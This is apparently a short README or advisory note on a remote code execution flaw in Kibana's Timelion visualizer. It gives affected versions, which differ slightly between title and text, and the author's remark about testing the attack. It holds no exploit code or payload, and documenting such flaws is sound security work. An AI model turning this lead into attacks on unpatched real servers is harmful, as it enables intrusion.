RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Note: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana < 6.6.0 are vulnerable as explain by @securityMB
